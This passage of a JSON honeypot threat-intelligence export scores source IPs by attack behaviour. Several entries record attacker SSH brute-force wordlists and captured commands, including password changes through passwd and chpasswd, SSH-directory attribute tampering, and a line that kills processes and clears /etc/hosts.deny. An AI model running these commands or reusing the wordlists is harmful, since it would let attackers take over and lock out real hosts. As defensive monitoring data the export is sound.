        "first_seen_30d": "2026-03-20T13:10:28.897000+00:00",
        "last_seen_30d": "2026-03-20T13:12:03.735000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "206.0.162.224": {
      "attack_count": 2,
      "first_seen": "2026-03-18T04:00:04.583Z",
      "last_seen": "2026-03-18T04:00:17.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Cabimas",
      "asn": 271907,
      "as_org": "COLNETWORK C.A.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:00:04.583000+00:00",
        "last_seen_30d": "2026-03-18T04:01:19.137000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "211.116.216.114": {
      "attack_count": 2,
      "first_seen": "2026-03-07T13:51:29.548Z",
      "last_seen": "2026-03-07T13:51:43.132Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 23584,
      "as_org": "PUSAN CABLE TV SYSTEM CO., LTD.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T13:51:29.548000+00:00",
        "last_seen_30d": "2026-03-07T13:52:52.678000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.134.20.97": {
      "attack_count": 2,
      "first_seen": "2026-03-07T22:38:12.181Z",
      "last_seen": "2026-03-07T22:38:42.871Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T22:38:12.181000+00:00",
        "last_seen_30d": "2026-03-07T22:39:50.504000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "27.206.243.140": {
      "attack_count": 2,
      "first_seen": "2026-03-26T19:36:28.413Z",
      "last_seen": "2026-03-26T19:36:40.918Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:36:28.413000+00:00",
        "last_seen_30d": "2026-03-26T19:37:47.214000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "36.255.33.28": {
      "attack_count": 2,
      "first_seen": "2026-03-16T14:48:42.869Z",
      "last_seen": "2026-03-16T14:48:55.115Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:48:42.869000+00:00",
        "last_seen_30d": "2026-03-16T14:49:58.185000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "39.99.212.219": {
      "attack_count": 2,
      "first_seen": "2026-03-28T00:25:06.465Z",
      "last_seen": "2026-03-28T00:25:49.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T21:19:22.460000+00:00",
        "last_seen_30d": "2026-03-28T00:27:04.244000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "4.226.41.164": {
      "attack_count": 2,
      "first_seen": "2026-03-31T10:57:40.822Z",
      "last_seen": "2026-03-31T10:58:12.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T10:57:40.822000+00:00",
        "last_seen_30d": "2026-03-31T10:59:21.305000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "44.220.185.140": {
      "attack_count": 2,
      "first_seen": "2026-03-12T13:57:54.854Z",
      "last_seen": "2026-03-12T13:57:59.856Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T13:57:54.854000+00:00",
        "last_seen_30d": "2026-03-12T13:59:00.925000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.239.203.145": {
      "attack_count": 2,
      "first_seen": "2026-03-09T17:05:50.413Z",
      "last_seen": "2026-03-09T17:06:21.033Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Osasco",
      "asn": 268468,
      "as_org": "MXCONECT SERVICOS DE COMUNICACAO LTDA",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:05:50.413000+00:00",
        "last_seen_30d": "2026-03-09T17:07:28.084000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.127.106.35": {
      "attack_count": 2,
      "first_seen": "2026-03-31T18:45:59.334Z",
      "last_seen": "2026-03-31T18:47:49.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T18:45:59.334000+00:00",
        "last_seen_30d": "2026-03-31T18:49:25.209000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "64.99.193.78": {
      "attack_count": 2,
      "first_seen": "2026-03-08T18:00:26.984Z",
      "last_seen": "2026-03-08T18:00:33.826Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fuquay-Varina",
      "asn": 32133,
      "as_org": "Ting Fiber Inc.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T18:00:26.984000+00:00",
        "last_seen_30d": "2026-03-08T18:01:40.337000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "74.193.122.159": {
      "attack_count": 2,
      "first_seen": "2026-03-31T04:32:06.510Z",
      "last_seen": "2026-03-31T04:32:37.317Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Georgetown",
      "asn": 19108,
      "as_org": "Optimum",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T04:32:06.510000+00:00",
        "last_seen_30d": "2026-03-31T04:33:44.239000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.186.102.185": {
      "attack_count": 2,
      "first_seen": "2026-03-09T17:19:55.683Z",
      "last_seen": "2026-03-09T17:20:14.050Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Ankara",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:19:55.683000+00:00",
        "last_seen_30d": "2026-03-09T17:21:19.156000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.120.235.9": {
      "attack_count": 2,
      "first_seen": "2026-03-28T02:27:36.099Z",
      "last_seen": "2026-03-28T02:27:49.069Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 210218,
      "as_org": "Open Fiber S.P.A.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T02:27:36.099000+00:00",
        "last_seen_30d": "2026-03-28T02:28:58.471000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "88.89.59.122": {
      "attack_count": 2,
      "first_seen": "2026-03-28T10:07:02.958Z",
      "last_seen": "2026-03-28T10:07:16.490Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Norway",
      "country_code": "NO",
      "city": "Oslo",
      "asn": 2119,
      "as_org": "Telenor Norge AS",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:07:02.958000+00:00",
        "last_seen_30d": "2026-03-28T10:08:19.760000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "90.189.170.105": {
      "attack_count": 2,
      "first_seen": "2026-03-11T00:09:46.972Z",
      "last_seen": "2026-03-11T00:10:18.370Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Novosibirsk",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:09:46.972000+00:00",
        "last_seen_30d": "2026-03-11T00:11:23.376000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "167.94.138.35": {
      "attack_count": 1,
      "first_seen": "2026-03-07T00:40:45.764Z",
      "last_seen": "2026-03-07T00:40:45.764Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 22,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T04:19:39+00:00",
        "last_seen_30d": "2026-03-23T02:43:56.572000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 61,
        "ConPot": 1,
        "Cowrie": 1,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "2.57.121.25": {
      "attack_count": 4318,
      "first_seen": "2026-03-02T00:21:27.845Z",
      "last_seen": "2026-03-31T22:04:11.070Z",
      "sessions": 478,
      "ports": [],
      "usernames_attempted": [
        "user"
      ],
      "passwords_attempted": [
        "00001111",
        "010100",
        "01011965",
        "01011966",
        "01011967",
        "01011968",
        "01011996",
        "01011998",
        "01012006",
        "010185",
        "01021983",
        "01021984",
        "01021994",
        "01021995",
        "01031976",
        "01031982",
        "01031992",
        "01031993",
        "01042000",
        "01051974"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5757,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:21:27.845000+00:00",
        "last_seen_30d": "2026-03-31T22:05:21.371000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4318,
        "Suricata": 1439
      }
    },
    "104.248.57.117": {
      "attack_count": 3528,
      "first_seen": "2026-03-05T04:52:17.052Z",
      "last_seen": "2026-03-05T05:27:47.095Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4948,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T04:52:17.052000+00:00",
        "last_seen_30d": "2026-03-05T05:28:53.347000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3528,
        "Suricata": 1420
      }
    },
    "102.211.152.138": {
      "attack_count": 856,
      "first_seen": "2026-03-02T00:01:40.515Z",
      "last_seen": "2026-03-26T08:18:27.234Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ubuntu",
        "root",
        "admin",
        "adrian",
        "adv",
        "edward",
        "elemental",
        "ftpsecure",
        "newusername",
        "rtest",
        "cody",
        "comp",
        "datacenter",
        "demon",
        "dspace",
        "farmacia",
        "firewall",
        "installer",
        "jane"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123",
        "12345678",
        "123456",
        "!@#QWE123qwe",
        "12345",
        "123456aa@",
        "1234qwer",
        "@a123456",
        "@qwer2025",
        "AA!2026",
        "Admin123!@#",
        "Admin2025",
        "China@1234",
        "E1ementa!5",
        "Edward123",
        "Mama123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ngu4gu2uN64hZ\\ngu4gu2uN64hZ\\n\"|passwd",
        "echo \"@a123456\\nRx8AIfBGu66c\\nRx8AIfBGu66c\\n\"|passwd",
        "echo \"Admin2025\\nvVrsc5E7qO5E\\nvVrsc5E7qO5E\\n\"|passwd",
        "echo \"E1ementa!5\\n98SavjXzRv1v\\n98SavjXzRv1v\\n\"|passwd",
        "echo \"Edward123\\nCPF2Onlphc3r\\nCPF2Onlphc3r\\n\"|passwd",
        "echo \"Newusername123!\\nbTYKAV7zqz8K\\nbTYKAV7zqz8K\\n\"|passwd",
        "echo \"password\\nC3dMtVYxlacz\\nC3dMtVYxlacz\\n\"|passwd",
        "echo \"password\\nJTOp3Ev516Ny\\nJTOp3Ev516Ny\\n\"|passwd",
        "echo \"password\\niH2yNlFnkWRT\\niH2yNlFnkWRT\\n\"|passwd",
        "echo -e \"12345678\\ngu4gu2uN64hZ\\ngu4gu2uN64hZ\"|passwd|bash",
        "echo -e \"@a123456\\nRx8AIfBGu66c\\nRx8AIfBGu66c\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 37468,
      "as_org": "ANGOLA-CABLES",
      "threat_score": 52.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1006,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:27.885000+00:00",
        "last_seen_30d": "2026-03-26T08:19:30.794000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 856,
        "Suricata": 150
      }
    },
    "78.44.192.210": {
      "attack_count": 839,
      "first_seen": "2026-03-04T20:22:08.219Z",
      "last_seen": "2026-03-26T08:06:17.164Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bai",
        "dp",
        "email",
        "rms",
        "root/bin",
        "splunk",
        "usuario1",
        "Guest",
        "abc",
        "abdul",
        "carlo",
        "claude",
        "clawd",
        "dario",
        "downloader",
        "eadmin",
        "elemental",
        "friend"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "123",
        "123456",
        "12345",
        "123@@",
        "123qwe!@#",
        "1337",
        "1qaz2WSX@",
        "A@12345678",
        "AAA123456",
        "Aa121314",
        "Abc123",
        "Bai123",
        "Dario123!",
        "Eadmin123!",
        "Hosting@123",
        "Kjh123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\ntIXeyl6LpHon\\ntIXeyl6LpHon\\n\"|passwd",
        "echo \"123456\\nn1UGN7SY89XV\\nn1UGN7SY89XV\\n\"|passwd",
        "echo \"Bai123\\nQMrQ45dXUuZd\\nQMrQ45dXUuZd\\n\"|passwd",
        "echo \"Rms123!\\nr3onmPc7SJAR\\nr3onmPc7SJAR\\n\"|passwd",
        "echo \"email123\\nfMdkV880QgP2\\nfMdkV880QgP2\\n\"|passwd",
        "echo \"root:3VSRY6pIPaB5\"|chpasswd|bash",
        "echo \"root:LBks6gtR4agX\"|chpasswd|bash",
        "echo \"usuario1123!\\nR9qQlbTpQTo4\\nR9qQlbTpQTo4\\n\"|passwd",
        "echo -e \"12345678\\ntIXeyl6LpHon\\ntIXeyl6LpHon\"|passwd|bash",
        "echo -e \"123456\\nn1UGN7SY89XV\\nn1UGN7SY89XV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Prague",
      "asn": 16019,
      "as_org": "Vodafone Czech Republic a.s.",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1011,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T20:22:08.219000+00:00",
        "last_seen_30d": "2026-03-26T08:07:21.156000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 839,
        "Suricata": 172
      }
    },
    "77.83.206.248": {
      "attack_count": 721,
      "first_seen": "2026-03-21T05:37:04.620Z",
      "last_seen": "2026-03-26T20:39:28.571Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jupyter",
        "water",
        "dockeruser",
        "elk",
        "geoserver",
        "maria",
        "mike",
        "panel",
        "redis",
        "richard",
        "testtest",
        "testuser2",
        "unix",
        "victor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "202426",
        "786786",
        "A100s200",
        "Aa123",
        "Azure12345678",
        "Bismillah@123",
        "Bus365",
        "Elk123!",
        "Geoserver123",
        "P@55w0rd@321",
        "Richard123",
        "Testtest123",
        "User2024",
        "Water",
        "Web2026",
        "Wx123456",
        "dlgwbn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
